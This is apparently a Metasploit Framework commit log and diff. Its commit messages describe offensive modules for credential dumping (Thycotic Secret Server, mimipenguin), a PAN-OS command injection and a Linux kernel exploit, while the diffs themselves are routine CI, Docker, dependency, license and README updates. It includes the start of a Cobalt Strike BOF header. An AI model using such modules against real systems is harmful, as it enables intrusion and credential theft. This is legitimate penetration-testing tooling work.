Secret Server.

Re-designed the workflow: module now has three actions, "export" dumps
the encrypted CSV, "decrypt" will decrypt an exported CSV and "dump"
(default) does both.

Various bug-fixes and tweaks based on feedback.

Changed some of the wording of output messages.
2022-08-25 15:36:01 -04:00
h00die-gr3y 14aad14b57 rubocop fix update 2022-08-25 17:54:53 +00:00
npm-cesium137-io b5a5fb23fb Add thycotic_secretserver_dump post module
Initial commit for post module targeting Windows servers with Secret
Server installed.
The module can decrypt secrets from Secret Server version 10.4 - 11.2
provided they are not protected by HSM.
An additional auxiliary module is being developed to perform offline
decryption and recovery of the database using the loot extracted via
this module.
2022-08-22 14:41:33 -04:00
bcoles 073dc397bd scripts/resource/dev_checks: Add additional development-related modules 2022-08-21 22:15:24 +10:00
bcoles b3f9847bc4 enum_ms_product_keys: Cleanup and support non-meterpreter sessions 2022-08-21 16:00:27 +10:00
Jake Baines b4fe31757d Added module for CVE-2022-20828 2022-08-19 12:29:37 -07:00
Jack Heysel 6c09cc8c9d Responded to PR comments 2022-08-18 16:20:03 -04:00
jheysel-r7 c4abda67c1 Update modules/exploits/linux/http/panos_auth_rce.rb
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2022-08-18 16:15:21 -04:00
jheysel-r7 1f6c52923b Update modules/exploits/linux/http/panos_auth_rce.rb
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2022-08-18 15:19:14 -04:00
jheysel-r7 4f95df6ee6 Update modules/exploits/linux/http/panos_auth_rce.rb
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2022-08-18 15:19:04 -04:00
Jack Heysel f01f4c08a4 Randomize payload + rubocop 2022-08-17 17:43:16 -04:00
Jack Heysel 75efe1528c Added check method, reponded to PR comments 2022-08-17 17:24:03 -04:00
jheysel-r7 2c3778e938 Update modules/exploits/linux/http/panos_auth_rce.rb
Co-authored-by: Grant Willcox <63261883+gwillcox-r7@users.noreply.github.com>
2022-08-17 14:03:05 -04:00
jheysel-r7 470ceda467 Update modules/exploits/linux/http/panos_auth_rce.rb
Co-authored-by: Grant Willcox <63261883+gwillcox-r7@users.noreply.github.com>
2022-08-17 14:02:39 -04:00
jheysel-r7 47f2b52277 Update documentation/modules/exploit/linux/http/panos_auth_rce.md
Co-authored-by: Grant Willcox <63261883+gwillcox-r7@users.noreply.github.com>
2022-08-17 13:42:17 -04:00
jheysel-r7 ef0578160c Update documentation/modules/exploit/linux/http/panos_auth_rce.md
Co-authored-by: Grant Willcox <63261883+gwillcox-r7@users.noreply.github.com>
2022-08-17 13:32:36 -04:00
jheysel-r7 aacf676cd1 Update modules/exploits/linux/http/panos_auth_rce.rb
Co-authored-by: Grant Willcox <63261883+gwillcox-r7@users.noreply.github.com>
2022-08-17 13:32:14 -04:00
jheysel-r7 08502e184c Update documentation/modules/exploit/linux/http/panos_auth_rce.md
Co-authored-by: Grant Willcox <63261883+gwillcox-r7@users.noreply.github.com>
2022-08-17 13:32:07 -04:00
jheysel-r7 30df4ce7b0 Update documentation/modules/exploit/linux/http/panos_auth_rce.md 2022-08-16 09:58:55 -04:00
Jack Heysel 57109f2966 Add PAN-OS auth command injection module 2022-08-16 09:44:05 -04:00
h00die b7acf95f1f vicidial doc update 2022-08-14 08:46:12 -04:00
h00die 794ce923ad placeholder
vicidial sqli module

first run of docs

updates to vicidial
2022-08-13 17:02:24 -04:00
bcoles 16d5af62d5 killav: Cleanup and support non-meterpreter sessions 2022-08-14 05:16:57 +10:00
Redouane NIBOUCHA b0d5a6bec4 Rubocop fix 2022-08-11 13:22:51 +02:00
Redouane NIBOUCHA e612f02ecb Add MAX_TRIES option, address the feedback of bwatters-r7 2022-08-11 13:21:14 +02:00
adfoster-r7 e93a75cd01 Fix broken reverse ssh command shell 2022-08-04 23:58:11 +01:00
Giacomo Casoni 76f6eda5a9 Using FileDropper Mixin 2022-07-27 19:32:50 +02:00
Redouane NIBOUCHA 011f0ac990 Add comment to make it easier to add offsets for more kernels 2022-07-26 22:20:12 +02:00
Redouane NIBOUCHA 78dae84871 Updates to the C source code (execl instead of execve, removal of some old comments) 2022-07-25 22:18:47 +02:00
Redouane NIBOUCHA ae9932d921 Rubocop fixes, register_dir_for_cleanup instead of register_file_for_cleanup in upload_source 2022-07-25 21:31:20 +02:00
Redouane NIBOUCHA 88d069a77d Add option for compiling the exploit on the target 2022-07-25 01:08:53 +02:00
Niboucha Redouane 9d3a57c2c5 Update the check method
Co-authored-by: bcoles <bcoles@gmail.com>
2022-07-23 02:44:26 +02:00
Redouane NIBOUCHA 37f1fdd47b Add module docs, add Ubuntu 22.04 offsets, update check method 2022-07-22 03:30:03 +02:00
Redouane NIBOUCHA 73db035e57 Add more offsets to the exploit, clean up the exploit C source, add check method 2022-07-21 01:22:20 +02:00
Redouane NIBOUCHA fe2e413426 Add exploit for CVE-2022-34918 2022-07-20 13:51:22 +02:00
space-r7 065fe425d3 pass in read permissions to process_open() 2022-07-01 13:05:38 -05:00
space-r7 8094c67465 switch to hash, reorder args 2022-07-01 13:05:38 -05:00
space-r7 16a2fbe544 add yescrypt format 2022-07-01 13:05:38 -05:00
Shelby Pace 40b18b5e7a Update lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/memory.rb
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2022-07-01 12:56:45 -05:00
Shelby Pace 722241ed3e Update lib/msf/core/post/linux/process.rb
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2022-07-01 12:56:44 -05:00
Shelby Pace 6ffd9a8cfa Update lib/msf/core/post/linux/process.rb
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2022-07-01 12:56:44 -05:00
space-r7 b21abbfb18 address review
includes using python on target for yescrypt
support, not failing on unsupported hash types,
documentation updates, etc
2022-07-01 12:56:44 -05:00
Shelby Pace e1e6089e25 Update modules/post/linux/gather/mimipenguin.rb
Co-authored-by: bcoles <bcoles@gmail.com>
2022-07-01 12:56:44 -05:00
Shelby Pace 4557c86fbb Update modules/post/linux/gather/mimipenguin.rb
Co-authored-by: bcoles <bcoles@gmail.com>
2022-07-01 12:56:44 -05:00
Shelby Pace 555b2a394c Update modules/post/linux/gather/mimipenguin.rb
Co-authored-by: bcoles <bcoles@gmail.com>
2022-07-01 12:56:44 -05:00
Shelby Pace 9b50612b84 Update modules/post/linux/gather/mimipenguin.rb
Co-authored-by: bcoles <bcoles@gmail.com>
2022-07-01 12:56:43 -05:00
Shelby Pace be61ad0171 Update modules/post/linux/gather/mimipenguin.rb
Co-authored-by: bcoles <bcoles@gmail.com>
2022-07-01 12:56:43 -05:00
Shelby Pace 49818b41ab Update modules/post/linux/gather/mimipenguin.rb
Co-authored-by: bcoles <bcoles@gmail.com>
2022-07-01 12:56:43 -05:00
space-r7 69342f5431 add docs and mixin 2022-07-01 12:56:43 -05:00
space-r7 0cb1b5b56f fail on unsupported hash types 2022-07-01 12:56:43 -05:00
space-r7 73f6d1ab87 check all processes, handle unsupported hash types 2022-07-01 12:56:42 -05:00
space-r7 045d9f7645 get adjacent regions, add method for addr format 2022-07-01 12:56:42 -05:00
space-r7 bcc45b1a9c check more regions 2022-07-01 12:56:42 -05:00
space-r7 47f8d3acae rename tlvs, add improvements 2022-07-01 12:56:42 -05:00
space-r7 6c6ad38b7a hash text and test against passwords 2022-07-01 12:56:42 -05:00
space-r7 075a40eb27 search adjacent regions, add processes 2022-07-01 12:56:41 -05:00
space-r7 6e8016541a add initial code for module 2022-07-01 12:56:41 -05:00
giacomo270197 9160573d0c Better cleanup for Linux 2022-06-16 23:08:32 +02:00
giacomo270197 7963b22fa5 Added Windows support 2022-06-16 22:37:56 +02:00
giacomo270197 aef69d1c43 Further changes as suggested 2022-06-16 21:04:57 +02:00
giacomo270197 4c17a3c342 Fixed documentation spelling and presentation. Changed to new file upload API 2022-06-16 18:59:39 +02:00
giacomo270197 b23e2207c2 Removed a rogue require statement 2022-06-16 16:42:03 +02:00
giacomo270197 91d83e966c Changed documentation to fit targets and added installation instructions. Added requests to delete .htaccess 2022-06-16 16:24:17 +02:00
giacomo270197 ba76c5702d Code changes, included metasploit version comparison utilities, removed Linux targets 2022-06-14 20:45:35 +02:00
giacomo270197 feb13174be Fixed documentation presentation 2022-06-14 10:41:43 +02:00
giacomo270197 cb1e72461f Renamed username to email to better reflect the user input nature. Created module documentation under /documentation/modules/exploit/multi/http/qdpm_authenticated_rce.md 2022-06-14 10:35:43 +02:00
giacomo270197 c906cf8fa2 Fixed EDB reference 2022-06-13 17:41:34 +02:00
bwatters 670288a939 Fix issue where reverse_tcp did not work because of double length prepend 2022-06-06 09:10:57 -05:00
bwatters 0c65559e83 Add a better error message when the handler fails because the shellcode file is nil 2022-05-31 14:32:22 -05:00
bwatters 89d47aad69 Magic numbers FTW? 2022-05-27 09:26:09 -05:00
bwatters f1da425a89 Update cache sizes... 2022-05-27 08:38:53 -05:00
bwatters 0201693519 Rebase and update with Spencer's collab branch 2022-05-26 18:31:37 -05:00
bwatters 41a5891627 Add x64 reverse_winhttp support for custom stagers 2022-05-24 16:13:01 -05:00
bwatters 4426a10dd7 Add x86 reverse_winhttp support 2022-05-24 16:13:01 -05:00
bwatters 3f736834d2 Add x64 config 2022-05-24 16:13:01 -05:00
bwatters e312619418 Add support for 64-bit, rubocop, and some requested changes 2022-05-24 16:13:01 -05:00
bwatters 7f6ef8384b Update cache sizes... 2022-05-24 16:09:47 -05:00
bwatters 681455dec3 Add a custom stager type for x86 windows 2022-05-24 16:09:47 -05:00
359 changed files with 25926 additions and 3205 deletions
+2 -2
View File
@@ -31,7 +31,7 @@ on:
jobs:
# Ensures that the docs site builds successfully. Note that this workflow does not deploy the docs site.
build:
runs-on: ubuntu-18.04
runs-on: ubuntu-latest
timeout-minutes: 40
strategy:
@@ -43,7 +43,7 @@ jobs:
name: Ruby ${{ matrix.ruby }}
steps:
- name: Checkout code
uses: actions/checkout@v2
uses: actions/checkout@v3
- name: Setup Ruby
uses: ruby/setup-ruby@v1
+5 -5
View File
@@ -28,7 +28,7 @@ jobs:
handle-labels:
runs-on: ubuntu-latest
steps:
- uses: actions/github-script@v3
- uses: actions/github-script@v6
with:
github-token: ${{secrets.GITHUB_TOKEN}}
script: |
@@ -202,16 +202,16 @@ jobs:
if (config.comment) {
const precedingWhitespaceLength = config.comment.split("\n")[1].search(/\S/);
const commentWithoutPreceedingWhitespace = config.comment.split("\n").map(line => line.substring(precedingWhitespaceLength)).join("\n").trim();
await github.issues.createComment({
const commentWithoutPrecedingWhitespace = config.comment.split("\n").map(line => line.substring(precedingWhitespaceLength)).join("\n").trim();
await github.rest.issues.createComment({
issue_number: context.issue.number,
owner: context.repo.owner,
repo: context.repo.repo,
body: commentWithoutPreceedingWhitespace
body: commentWithoutPrecedingWhitespace
});
}
if (config.close) {
await github.issues.update({
await github.rest.issues.update({
issue_number: context.issue.number,
owner: context.repo.owner,
repo: context.repo.repo,
+3 -3
View File
@@ -28,14 +28,14 @@ on:
jobs:
msftidy:
runs-on: ubuntu-18.04
runs-on: ubuntu-latest
timeout-minutes: 40
strategy:
fail-fast: true
matrix:
ruby:
- 2.6
- 2.7
name: Lint msftidy
steps:
@@ -43,7 +43,7 @@ jobs:
run: sudo apt-get install libpcap-dev graphviz
- name: Checkout code
uses: actions/checkout@v2
uses: actions/checkout@v3
# Required to checkout HEAD^ and 3a046f01dae340c124dd3895e670983aef5fe0c5 for the msftidy script
# https://github.com/actions/checkout/tree/5a4ac9002d0be2fb38bd78e4b4dbde5606d7042f#checkout-head
with:
+6 -2
View File
@@ -33,7 +33,7 @@ jobs:
name: Docker Build
steps:
- name: Checkout code
uses: actions/checkout@v2
uses: actions/checkout@v3
- name: docker-compose build
run: |
@@ -73,6 +73,10 @@ jobs:
exclude:
- { os: ubuntu-latest, ruby: 2.7 }
- { os: ubuntu-latest, ruby: 3.0 }
include:
- os: ubuntu-latest
ruby: 3.1
test_cmd: 'bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" DATASTORE_FALLBACKS=1'
test_cmd:
- bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"
- bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag ~content"
@@ -89,7 +93,7 @@ jobs:
run: sudo apt-get install libpcap-dev graphviz
- name: Checkout code
uses: actions/checkout@v2
uses: actions/checkout@v3
- name: Setup Ruby
env:
+6 -3
View File
@@ -1,4 +1,4 @@
FROM ruby:3.0.2-alpine3.12 AS builder
FROM ruby:3.0.4-alpine3.15 AS builder
LABEL maintainer="Rapid7"
ARG BUNDLER_CONFIG_ARGS="set clean 'true' set no-cache 'true' set system 'true' set without 'development test coverage'"
@@ -40,6 +40,7 @@ RUN apk add --no-cache \
# needed so non root users can read content of the bundle
&& chmod -R a+r /usr/local/bundle
ENV GO111MODULE=off
RUN mkdir -p $TOOLS_HOME/bin && \
cd $TOOLS_HOME/bin && \
curl -O https://dl.google.com/go/go1.11.2.src.tar.gz && \
@@ -48,7 +49,7 @@ RUN mkdir -p $TOOLS_HOME/bin && \
cd go/src && \
./make.bash
FROM ruby:3.0.2-alpine3.12
FROM ruby:3.0.4-alpine3.15
LABEL maintainer="Rapid7"
ENV APP_HOME=/usr/src/metasploit-framework
@@ -59,7 +60,9 @@ ENV METASPLOIT_GROUP=metasploit
# used for the copy command
RUN addgroup -S $METASPLOIT_GROUP
RUN apk add --no-cache bash sqlite-libs nmap nmap-scripts nmap-nselibs postgresql-libs python2 python3 py3-pip ncurses libcap su-exec alpine-sdk python2-dev openssl-dev nasm mingw-w64-gcc
RUN apk add --no-cache bash sqlite-libs nmap nmap-scripts nmap-nselibs \
postgresql-libs python2 python3 py3-pip ncurses libcap su-exec alpine-sdk \
python2-dev openssl-dev nasm mingw-w64-gcc
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby)
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which nmap)
+5 -3
View File
@@ -16,7 +16,10 @@ group :development do
gem 'yard'
# for development and testing purposes
# lock to version with 2.6 support until project updates
gem 'pry-byebug', "~> 3.9.0"
gem 'pry-byebug', '~> 3.9.0'
# Ruby Debugging Library - rebuilt and included by default from Ruby 3.1 onwards.
# Replaces the old lib/debug.rb and provides more features.
gem 'debug', '>= 1.0.0'
# module documentation
gem 'octokit'
# memory profiling
@@ -25,7 +28,7 @@ group :development do
gem 'ruby-prof', '1.4.2'
# Metasploit::Aggregator external session proxy
# disabled during 2.5 transition until aggregator is available
#gem 'metasploit-aggregator'
# gem 'metasploit-aggregator'
end
group :development, :test do
@@ -46,4 +49,3 @@ group :test do
# Manipulate Time.now in specs
gem 'timecop'
end
+40 -35
View File
@@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (6.2.16)
metasploit-framework (6.2.23)
actionpack (~> 6.0)
activerecord (~> 6.0)
activesupport (~> 6.0)
@@ -30,9 +30,9 @@ PATH
metasploit-concern
metasploit-credential
metasploit-model
metasploit-payloads (= 2.0.94)
metasploit-payloads (= 2.0.97)
metasploit_data_models
metasploit_payloads-mettle (= 1.0.18)
metasploit_payloads-mettle (= 1.0.20)
mqtt
msgpack
nessus_rest
@@ -97,25 +97,25 @@ GEM
remote: https://rubygems.org/
specs:
Ascii85 (1.1.0)
actionpack (6.1.6.1)
actionview (= 6.1.6.1)
activesupport (= 6.1.6.1)
actionpack (6.1.7)
actionview (= 6.1.7)
activesupport (= 6.1.7)
rack (~> 2.0, >= 2.0.9)
rack-test (>= 0.6.3)
rails-dom-testing (~> 2.0)
rails-html-sanitizer (~> 1.0, >= 1.2.0)
actionview (6.1.6.1)
activesupport (= 6.1.6.1)
actionview (6.1.7)
activesupport (= 6.1.7)
builder (~> 3.1)
erubi (~> 1.4)
rails-dom-testing (~> 2.0)
rails-html-sanitizer (~> 1.1, >= 1.2.0)
activemodel (6.1.6.1)
activesupport (= 6.1.6.1)
activerecord (6.1.6.1)
activemodel (= 6.1.6.1)
activesupport (= 6.1.6.1)
activesupport (6.1.6.1)
activemodel (6.1.7)
activesupport (= 6.1.7)
activerecord (6.1.7)
activemodel (= 6.1.7)
activesupport (= 6.1.7)
activesupport (6.1.7)
concurrent-ruby (~> 1.0, >= 1.0.2)
i18n (>= 1.6, < 2)
minitest (>= 5.1)
@@ -128,13 +128,13 @@ GEM
activerecord (>= 3.1.0, < 8)
ast (2.4.2)
aws-eventstream (1.2.0)
aws-partitions (1.624.0)
aws-sdk-core (3.137.0)
aws-partitions (1.628.0)
aws-sdk-core (3.145.0)
aws-eventstream (~> 1, >= 1.0.2)
aws-partitions (~> 1, >= 1.525.0)
aws-sigv4 (~> 1.1)
jmespath (~> 1, >= 1.6.1)
aws-sdk-ec2 (1.329.0)
aws-sdk-ec2 (1.331.0)
aws-sdk-core (~> 3, >= 3.127.0)
aws-sigv4 (~> 1.1)
aws-sdk-iam (1.70.0)
@@ -160,6 +160,9 @@ GEM
cookiejar (0.3.3)
crass (1.0.6)
daemons (1.4.1)
debug (1.6.2)
irb (>= 1.3.6)
reline (>= 0.3.1)
diff-lcs (1.5.0)
digest (3.1.0)
dnsruby (1.61.9)
@@ -183,7 +186,7 @@ GEM
factory_bot_rails (6.2.0)
factory_bot (~> 6.2.0)
railties (>= 5.0.0)
faker (2.22.0)
faker (2.23.0)
i18n (>= 1.8.11, < 2)
faraday (2.5.2)
faraday-net_http (>= 2.0, < 3.1)
@@ -229,11 +232,11 @@ GEM
nokogiri (>= 1.5.9)
memory_profiler (1.0.0)
metasm (1.0.5)
metasploit-concern (4.0.4)
metasploit-concern (4.0.5)
activemodel (~> 6.0)
activesupport (~> 6.0)
railties (~> 6.0)
metasploit-credential (5.0.8)
metasploit-credential (5.0.9)
metasploit-concern
metasploit-model
metasploit_data_models (>= 5.0.0)
@@ -247,7 +250,7 @@ GEM
activemodel (~> 6.0)
activesupport (~> 6.0)
railties (~> 6.0)
metasploit-payloads (2.0.94)
metasploit-payloads (2.0.97)
metasploit_data_models (5.0.5)
activerecord (~> 6.0)
activesupport (~> 6.0)
@@ -258,7 +261,7 @@ GEM
railties (~> 6.0)
recog (~> 2.0)
webrick
metasploit_payloads-mettle (1.0.18)
metasploit_payloads-mettle (1.0.20)
method_source (1.0.0)
mini_portile2 (2.8.0)
minitest (5.16.3)
@@ -323,9 +326,9 @@ GEM
nokogiri (>= 1.6)
rails-html-sanitizer (1.4.3)
loofah (~> 2.3)
railties (6.1.6.1)
actionpack (= 6.1.6.1)
activesupport (= 6.1.6.1)
railties (6.1.7)
actionpack (= 6.1.7)
activesupport (= 6.1.7)
method_source
rake (>= 12.2)
thor (~> 1.0)
@@ -351,7 +354,7 @@ GEM
metasm
rex-arch
rex-text
rex-exploitation (0.1.35)
rex-exploitation (0.1.36)
jsobfu
metasm
rex-arch
@@ -365,25 +368,25 @@ GEM
rex-arch
rex-ole (0.1.7)
rex-text
rex-powershell (0.1.96)
rex-powershell (0.1.97)
rex-random_identifier
rex-text
ruby-rc4
rex-random_identifier (0.1.8)
rex-random_identifier (0.1.9)
rex-text
rex-registry (0.1.4)
rex-rop_builder (0.1.4)
metasm
rex-core
rex-text
rex-socket (0.1.41)
rex-socket (0.1.43)
rex-core
rex-sslscan (0.1.7)
rex-sslscan (0.1.8)
rex-core
rex-socket
rex-text
rex-struct2 (0.1.3)
rex-text (0.2.44)
rex-text (0.2.45)
rex-zip (0.1.4)
rex-text
rexml (3.2.5)
@@ -394,7 +397,7 @@ GEM
rspec-mocks (~> 3.11.0)
rspec-core (3.11.0)
rspec-support (~> 3.11.0)
rspec-expectations (3.11.0)
rspec-expectations (3.11.1)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.11.0)
rspec-mocks (3.11.1)
@@ -410,8 +413,8 @@ GEM
rspec-support (~> 3.10)
rspec-rerun (1.1.0)
rspec (~> 3.0)
rspec-support (3.11.0)
rubocop (1.35.1)
rspec-support (3.11.1)
rubocop (1.36.0)
json (~> 2.3)
parallel (~> 1.10)
parser (>= 3.1.2.1)
@@ -450,7 +453,8 @@ GEM
rack (~> 2.2)
rack-protection (= 2.2.2)
tilt (~> 2.0)
sqlite3 (1.4.4)
sqlite3 (1.5.0)
mini_portile2 (~> 2.8.0)
sshkey (2.0.0)
swagger-blocks (3.0.0)
thin (1.8.1)
@@ -501,6 +505,7 @@ PLATFORMS
ruby
DEPENDENCIES
debug (>= 1.0.0)
factory_bot_rails
fivemat
memory_profiler
+4
View File
@@ -15,6 +15,10 @@ License: BSD-3-clause
# Last updated: 2013-Nov-04
#
Files: data/headers/windows/c_payload_util/beacon.h
Copyright: 2022, Copyright Help/Systems LLC and its group of companies.
License: Apache 2.0
Files: data/exploits/mysql/lib_mysqludf_sys_*.so
Copyright: 2007 Roland Bouman
2008-2010 Roland Bouman and Bernardo Damele A. G.
+28 -27
View File
@@ -1,18 +1,18 @@
This file is auto-generated by tools/dev/update_gem_licenses.sh
Ascii85, 1.1.0, MIT
actionpack, 6.1.6.1, MIT
actionview, 6.1.6.1, MIT
activemodel, 6.1.6.1, MIT
activerecord, 6.1.6.1, MIT
activesupport, 6.1.6.1, MIT
actionpack, 6.1.7, MIT
actionview, 6.1.7, MIT
activemodel, 6.1.7, MIT
activerecord, 6.1.7, MIT
activesupport, 6.1.7, MIT
addressable, 2.8.1, "Apache 2.0"
afm, 0.2.2, MIT
arel-helpers, 2.14.0, MIT
ast, 2.4.2, MIT
aws-eventstream, 1.2.0, "Apache 2.0"
aws-partitions, 1.624.0, "Apache 2.0"
aws-sdk-core, 3.137.0, "Apache 2.0"
aws-sdk-ec2, 1.329.0, "Apache 2.0"
aws-partitions, 1.628.0, "Apache 2.0"
aws-sdk-core, 3.145.0, "Apache 2.0"
aws-sdk-ec2, 1.331.0, "Apache 2.0"
aws-sdk-iam, 1.70.0, "Apache 2.0"
aws-sdk-kms, 1.58.0, "Apache 2.0"
aws-sdk-s3, 1.114.0, "Apache 2.0"
@@ -29,6 +29,7 @@ concurrent-ruby, 1.0.5, MIT
cookiejar, 0.3.3, unknown
crass, 1.0.6, MIT
daemons, 1.4.1, MIT
debug, 1.6.2, "ruby, Simplified BSD"
diff-lcs, 1.5.0, "MIT, Artistic-2.0, GPL-2.0+"
digest, 3.1.0, "ruby, Simplified BSD"
dnsruby, 1.61.9, "Apache 2.0"
@@ -41,7 +42,7 @@ erubi, 1.11.0, MIT
eventmachine, 1.2.7, "ruby, GPL-2.0"
factory_bot, 6.2.1, MIT
factory_bot_rails, 6.2.0, MIT
faker, 2.22.0, MIT
faker, 2.23.0, MIT
faraday, 2.5.2, MIT
faraday-net_http, 3.0.0, MIT
faraday-retry, 2.0.0, MIT
@@ -59,7 +60,7 @@ http_parser.rb, 0.8.0, MIT
httpclient, 2.8.3, ruby
i18n, 1.12.0, MIT
io-console, 0.5.11, "ruby, Simplified BSD"
irb, 1.3.6, "ruby, Simplified BSD"
irb, 1.4.1, "ruby, Simplified BSD"
jmespath, 1.6.1, "Apache 2.0"
jsobfu, 0.4.2, "New BSD"
json, 2.6.2, ruby
@@ -68,13 +69,13 @@ logging, 2.3.1, MIT
loofah, 2.18.0, MIT
memory_profiler, 1.0.0, MIT
metasm, 1.0.5, LGPL-2.1
metasploit-concern, 4.0.4, "New BSD"
metasploit-credential, 5.0.8, "New BSD"
metasploit-framework, 6.2.16, "New BSD"
metasploit-concern, 4.0.5, "New BSD"
metasploit-credential, 5.0.9, "New BSD"
metasploit-framework, 6.2.23, "New BSD"
metasploit-model, 4.0.6, "New BSD"
metasploit-payloads, 2.0.94, "3-clause (or ""modified"") BSD"
metasploit-payloads, 2.0.97, "3-clause (or ""modified"") BSD"
metasploit_data_models, 5.0.5, "New BSD"
metasploit_payloads-mettle, 1.0.18, "3-clause (or ""modified"") BSD"
metasploit_payloads-mettle, 1.0.20, "3-clause (or ""modified"") BSD"
method_source, 1.0.0, MIT
mini_portile2, 2.8.0, MIT
minitest, 5.16.3, MIT
@@ -113,42 +114,42 @@ rack-protection, 2.2.2, MIT
rack-test, 2.0.2, MIT
rails-dom-testing, 2.0.3, MIT
rails-html-sanitizer, 1.4.3, MIT
railties, 6.1.6.1, MIT
railties, 6.1.7, MIT
rainbow, 3.1.1, MIT
rake, 13.0.6, MIT
rb-readline, 0.5.5, BSD
recog, 2.3.23, unknown
redcarpet, 3.5.1, MIT
regexp_parser, 2.5.0, MIT
reline, 0.2.5, ruby
reline, 0.3.1, ruby
rex-arch, 0.1.14, "New BSD"
rex-bin_tools, 0.1.8, "New BSD"
rex-core, 0.1.28, "New BSD"
rex-encoder, 0.1.6, "New BSD"
rex-exploitation, 0.1.35, "New BSD"
rex-exploitation, 0.1.36, "New BSD"
rex-java, 0.1.6, "New BSD"
rex-mime, 0.1.7, "New BSD"
rex-nop, 0.1.2, "New BSD"
rex-ole, 0.1.7, "New BSD"
rex-powershell, 0.1.96, "New BSD"
rex-random_identifier, 0.1.8, "New BSD"
rex-powershell, 0.1.97, "New BSD"
rex-random_identifier, 0.1.9, "New BSD"
rex-registry, 0.1.4, "New BSD"
rex-rop_builder, 0.1.4, "New BSD"
rex-socket, 0.1.41, "New BSD"
rex-sslscan, 0.1.7, "New BSD"
rex-socket, 0.1.43, "New BSD"
rex-sslscan, 0.1.8, "New BSD"
rex-struct2, 0.1.3, "New BSD"
rex-text, 0.2.39, "New BSD"
rex-text, 0.2.45, "New BSD"
rex-zip, 0.1.4, "New BSD"
rexml, 3.2.5, "Simplified BSD"
rkelly-remix, 0.0.7, MIT
rspec, 3.11.0, MIT
rspec-core, 3.11.0, MIT
rspec-expectations, 3.11.0, MIT
rspec-expectations, 3.11.1, MIT
rspec-mocks, 3.11.1, MIT
rspec-rails, 5.1.2, MIT
rspec-rerun, 1.1.0, MIT
rspec-support, 3.11.0, MIT
rubocop, 1.35.1, MIT
rspec-support, 3.11.1, MIT
rubocop, 1.36.0, MIT
rubocop-ast, 1.21.0, MIT
ruby-macho, 3.0.0, MIT
ruby-prof, 1.4.2, "Simplified BSD"
@@ -163,7 +164,7 @@ simplecov, 0.18.2, MIT
simplecov-html, 0.12.3, MIT
simpleidn, 0.2.1, MIT
sinatra, 2.2.2, MIT
sqlite3, 1.4.4, "New BSD"
sqlite3, 1.5.0, "New BSD"
sshkey, 2.0.0, MIT
swagger-blocks, 3.0.0, MIT
thin, 1.8.1, "GPL-2.0+, ruby"
+17 -12
View File
@@ -3,25 +3,31 @@ Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.sv
The Metasploit Framework is released under a BSD-style license. See
[COPYING](COPYING) for more details.
The latest version of this software is available from: https://metasploit.com
The latest version of this software is available from: https://docs.metasploit.com/docs/using-metasploit/getting-started/nightly-installers.html
Bug tracking and development information can be found at:
https://github.com/rapid7/metasploit-framework
You can find documentation on Metasploit and how to use it at:
https://docs.metasploit.com/
Information about setting up a development environment can be found at:
https://docs.metasploit.com/docs/development/get-started/setting-up-a-metasploit-development-environment.html
Our bug and feature request tracker can be found at:
https://github.com/rapid7/metasploit-framework/issues
New bugs and feature requests should be directed to:
https://r-7.co/MSF-BUGv1
API documentation for writing modules can be found at:
https://rapid7.github.io/metasploit-framework/api
https://docs.metasploit.com/api/
Questions and suggestions can be sent to: Freenode IRC channel or e-mail the metasploit-hackers mailing list
Installing
--
Generally, you should use [the free installer](https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers),
Generally, you should use [the free installer](https://docs.metasploit.com/docs/using-metasploit/getting-started/nightly-installers.html),
which contains all of the dependencies and will get you up and running with a
few clicks. See the [Dev Environment Setup](https://r-7.co/MSF-DEV) if
few clicks. See the [Dev Environment Setup](https://docs.metasploit.com/docs/development/get-started/setting-up-a-metasploit-development-environment.html) if
you'd like to deal with dependencies on your own.
Using Metasploit
@@ -29,21 +35,20 @@ Using Metasploit
Metasploit can do all sorts of things. The first thing you'll want to do
is start `msfconsole`, but after that, you'll probably be best served by
reading [Metasploit Unleashed][unleashed], the [great community
resources](https://metasploit.github.io), or the [wiki].
resources](https://metasploit.github.io), or take a look at the
[Using Metasploit](https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html)
page on the documentation website.
Contributing
--
See the [Dev Environment Setup][wiki-devenv] guide on GitHub, which will
See the [Dev Environment Setup][devenv] guide on GitHub, which will
walk you through the whole process from installing all the
dependencies, to cloning the repository, and finally to submitting a
pull request. For slightly more information, see
[Contributing](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md).
[wiki]: https://github.com/rapid7/metasploit-framework/wiki
[wiki-devenv]: https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment "Metasploit Development Environment Setup"
[wiki-start]: https://github.com/rapid7/metasploit-framework/wiki/ "Metasploit Wiki"
[wiki-usage]: https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit "Using Metasploit"
[devenv]: https://docs.metasploit.com/docs/development/get-started/setting-up-a-metasploit-development-environment.html "Metasploit Development Environment Setup"
[unleashed]: https://www.offensive-security.com/metasploit-unleashed/ "Metasploit Unleashed"
Binary file not shown.
@@ -0,0 +1,69 @@
/*
* Beacon Object Files (BOF)
* -------------------------
* A Beacon Object File is a light-weight post exploitation tool that runs
* with Beacon's inline-execute command.
*
* Additional BOF resources are available here:
* - https://github.com/Cobalt-Strike/bof_template
*
* Cobalt Strike 4.x
* ChangeLog:
* 1/25/2022: updated for 4.5
*/
/* data API */
typedef struct {
char * original; /* the original buffer [so we can free it] */
char * buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
int size; /* total size of this buffer */
} datap;
